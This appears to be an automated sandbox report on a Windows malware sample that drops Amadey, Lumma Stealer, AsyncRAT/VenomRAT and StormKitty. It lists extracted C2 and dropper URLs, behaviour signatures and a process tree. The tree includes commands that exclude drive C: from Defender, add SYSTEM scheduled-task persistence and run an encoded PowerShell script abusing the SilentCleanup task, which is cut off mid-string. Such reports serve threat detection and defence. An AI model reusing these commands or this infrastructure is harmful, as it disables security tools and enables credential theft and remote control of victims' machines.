Overview

overview

10

Static

static

3

11195c6b0d...00.exe

windows7-x64

10

11195c6b0d...00.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    108s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/03/2025, 02:21

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    11195c6b0d9981a94bdab08b52d714a2298e4e0bf98a613d62179bef8a701d00.exe

  • Size

    2.1MB

  • MD5

    f48ff9bc196aad68da3d4376c9649d9f

  • SHA1

    6e322f4efcc330514595db2b0d4b9c46f0947fa9

  • SHA256

    11195c6b0d9981a94bdab08b52d714a2298e4e0bf98a613d62179bef8a701d00

  • SHA512

    6be43cbad73eeb9da4ab465a36849943692c8e6d287716bc4f429fc58944f1c387bea3016d263d86e620ed1081cd5e2b3fff3434687bcd4531ec401186acf068

  • SSDEEP

    24576:WxD0p+DGIp2aj46j8vwkKWzQO3UAjN9O249LYRE2ABbu6w+7s5SnPtEJW/0shuC3:SDNd4veApb5A7CWu6JvnPtEvaREkMU

Score
10/10
amadeyasyncratlummastormkittyvenomrat092155defaultdefense_evasiondiscoveryexecutionpersistenceratspywarestealertrojanupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://absoulpushx.life/api

https://begindecafer.world/api

https://garagedrootz.top/api

https://9modelshiverd.icu/api

https://arisechairedd.shop/api

https://catterjur.run/api

https://orangemyther.live/api

https://fostinjec.today/api

https://sterpickced.digital/api

https://qcitydisco.bet/api

https://crosshairc.life/api

https://mrodularmall.top/api

https://jowinjoinery.icu/api

https://legenassedk.top/api

https://htardwarehu.icu/api

https://cjlaspcorne.icu/api

https://bugildbett.top/api

https://weaponrywo.digital/api

https://citydisco.bet/api

https://2weaponrywo.digital/api

Extracted

Family

asyncrat

Version

| Controller

Botnet

Default

C2

20.206.204.9:4449

Mutex

ammmjprqjnqswrieh

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

146.19.191.210:4449

Mutex

zjryrckbvvq

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • Stormkitty family
    stormkitty
  • VenomRAT 4 IoCs

    Detects VenomRAT.

    rat
  • Venomrat family
    venomrat
  • Async RAT payload 2 IoCs
    rat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 18 IoCs
  • Sets service image path in registry 2 TTPs 2 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 32 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 25 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\11195c6b0d9981a94bdab08b52d714a2298e4e0bf98a613d62179bef8a701d00.exe
    "C:\Users\Admin\AppData\Local\Temp\11195c6b0d9981a94bdab08b52d714a2298e4e0bf98a613d62179bef8a701d00.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Downloads MZ/PE file
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3584
      • C:\Users\Admin\AppData\Local\Temp\10168510101\7T7bCyA.exe
        "C:\Users\Admin\AppData\Local\Temp\10168510101\7T7bCyA.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:3712
      • C:\Users\Admin\AppData\Local\Temp\10171300101\s7MG2VL.exe
        "C:\Users\Admin\AppData\Local\Temp\10171300101\s7MG2VL.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:1120
      • C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe
        "C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4140
        • C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe
          "C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:1028
      • C:\Users\Admin\AppData\Local\Temp\10184340101\eAzoDbY.exe
        "C:\Users\Admin\AppData\Local\Temp\10184340101\eAzoDbY.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1304
        • C:\Users\Admin\AppData\Local\Temp\10184340101\eAzoDbY.exe
          "C:\Users\Admin\AppData\Local\Temp\10184340101\eAzoDbY.exe"
          4⤵
          • Executes dropped EXE
          PID:2104
        • C:\Users\Admin\AppData\Local\Temp\10184340101\eAzoDbY.exe
          "C:\Users\Admin\AppData\Local\Temp\10184340101\eAzoDbY.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2660
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1304 -s 416
          4⤵
          • Program crash
          PID:4280
      • C:\Users\Admin\AppData\Local\Temp\10190860101\8sb9w_003.exe
        "C:\Users\Admin\AppData\Local\Temp\10190860101\8sb9w_003.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:4352
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1820
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe Add-MpPreference -ExclusionPath 'C:'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4924
        • C:\Windows\system32\svchost.exe
          "C:\Windows\system32\svchost.exe"
          4⤵
          • Downloads MZ/PE file
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:5092
          • C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe
            "C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe" ""
            5⤵
            • Sets service image path in registry
            • Executes dropped EXE
            • Suspicious behavior: LoadsDriver
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4436
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Add-MpPreference -ExclusionPath C:\
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:14244
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Remove-MpPreference -ExclusionPath C:\
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3456
          • C:\Users\Admin\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe
            "C:\Users\Admin\AppData\Local\Temp\\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe" "{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}"
            5⤵
            • Executes dropped EXE
            PID:640
      • C:\Users\Admin\AppData\Local\Temp\10191470101\st22BJg.exe
        "C:\Users\Admin\AppData\Local\Temp\10191470101\st22BJg.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:7216
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\pack82.vbe"
          4⤵
          • Blocklisted process makes network request
          • Downloads MZ/PE file
          • Checks computer location settings
          PID:7452
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /ru system /tn Microsoft\Windows\Shell\WindowsObjectChecking /sc onstart /tr "C:\Users\Admin\AppData\Roaming\92A0BDBD97C6286F27ECE03216F368F8\9721E0C71B553D2AEC3C4FE5D645C368.vbe" /f /rl highest
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:9612
          • C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif
            "C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif" 95.168.166.227:8082:admin:12r3sa6qf9
            5⤵
            • Executes dropped EXE
            PID:6476
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CC5710DEACFCE0001:00000000000000000000000000000000000000000000001CC571118E22623FFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG 2>&1 | powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
              6⤵
                PID:6576
                • C:\Users\Admin\AppData\Local\Temp\OpenCL.pif
                  OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CC5710DEACFCE0001:00000000000000000000000000000000000000000000001CC571118E22623FFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG
                  7⤵
                  • Executes dropped EXE
                  PID:6768
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1776
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CC5710DEACFCE0001:00000000000000000000000000000000000000000000001CC571118E22623FFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG 2>&1 | powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
                6⤵
                  PID:7544
                  • C:\Users\Admin\AppData\Local\Temp\OpenCL.pif
                    OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CC5710DEACFCE0001:00000000000000000000000000000000000000000000001CC571118E22623FFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG
                    7⤵
                    • Executes dropped EXE
                    PID:7568
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
                    7⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:7580
            • C:\Users\Admin\AppData\Local\Temp\file.exe
              "C:\Users\Admin\AppData\Local\Temp\file.exe"
              4⤵
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:7548
              • C:\Users\Admin\AppData\Local\Temp\ShortcutTaskAgent.exe
                "C:\Users\Admin\AppData\Local\Temp\ShortcutTaskAgent.exe"
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1700
                • C:\Users\Admin\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe
                  C:\Users\Admin\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  PID:8596
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\SysWOW64\cmd.exe
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: MapViewOfSection
                    PID:6008
                    • C:\Users\Admin\AppData\Local\Temp\pluginfast_Yj.exe
                      C:\Users\Admin\AppData\Local\Temp\pluginfast_Yj.exe
                      8⤵
                      • Loads dropped DLL
                      PID:5372
          • C:\Users\Admin\AppData\Local\Temp\10199510101\9CQknW9.exe
            "C:\Users\Admin\AppData\Local\Temp\10199510101\9CQknW9.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:9004
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 9004 -s 228
              4⤵
              • Program crash
              PID:3904
          • C:\Users\Admin\AppData\Local\Temp\10200020101\7BzCs1a.exe
            "C:\Users\Admin\AppData\Local\Temp\10200020101\7BzCs1a.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:6328
            • C:\Users\Admin\AppData\Local\Temp\10200020101\7BzCs1a.exe
              "C:\Users\Admin\AppData\Local\Temp\10200020101\7BzCs1a.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:10920
          • C:\Users\Admin\AppData\Local\Temp\10200860101\Go7yA2t.exe
            "C:\Users\Admin\AppData\Local\Temp\10200860101\Go7yA2t.exe"
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            PID:6936
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Expand-Archive -Force \"C:\Users\Admin\AppData\Local\Temp\updater101\h2wb5_002.zip\" \"C:\Users\Admin\AppData\Local\Temp\updater101\h2wb5_002\""
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:14048
            • C:\Users\Admin\AppData\Local\Temp\updater101\h2wb5_002\h2wb5_002.exe
              "C:\Users\Admin\AppData\Local\Temp\updater101\h2wb5_002\h2wb5_002.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: MapViewOfSection
              PID:7472
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
                5⤵
                  PID:8060
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe Add-MpPreference -ExclusionPath 'C:'
                    6⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5484
                • C:\Windows\system32\svchost.exe
                  "C:\Windows\system32\svchost.exe"
                  5⤵
                  • Downloads MZ/PE file
                  • Adds Run key to start application
                  PID:7992
                  • C:\ProgramData\{5A4A035D-A4F9-454A-85ED-D5727334CF26}\dbs.exe
                    "C:\ProgramData\{5A4A035D-A4F9-454A-85ED-D5727334CF26}\dbs.exe" ""
                    6⤵
                    • Sets service image path in registry
                    • Executes dropped EXE
                    • Suspicious behavior: LoadsDriver
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5856
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell Remove-MpPreference -ExclusionPath C:\
                      7⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5548
                  • C:\Users\Admin\AppData\Local\Temp\{6A4A035D-A4F9-454A-85ED-D5727334CF36}\dbs.exe
                    "C:\Users\Admin\AppData\Local\Temp\\{6A4A035D-A4F9-454A-85ED-D5727334CF36}\dbs.exe" "{5A4A035D-A4F9-454A-85ED-D5727334CF26}"
                    6⤵
                    • Executes dropped EXE
                    PID:5928
            • C:\Users\Admin\AppData\Local\Temp\10200950101\OwPn5E9.exe
              "C:\Users\Admin\AppData\Local\Temp\10200950101\OwPn5E9.exe"
              3⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:8612
            • C:\Users\Admin\AppData\Local\Temp\10201910101\gtjFHJI.exe
              "C:\Users\Admin\AppData\Local\Temp\10201910101\gtjFHJI.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:13288
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:14008
            • C:\Users\Admin\AppData\Local\Temp\10204230101\9JFiKVm.exe
              "C:\Users\Admin\AppData\Local\Temp\10204230101\9JFiKVm.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:12460
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:6844
                • C:\Users\Admin\AppData\Roaming\tZWlsuCjis.exe
                  "C:\Users\Admin\AppData\Roaming\tZWlsuCjis.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:7476
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwB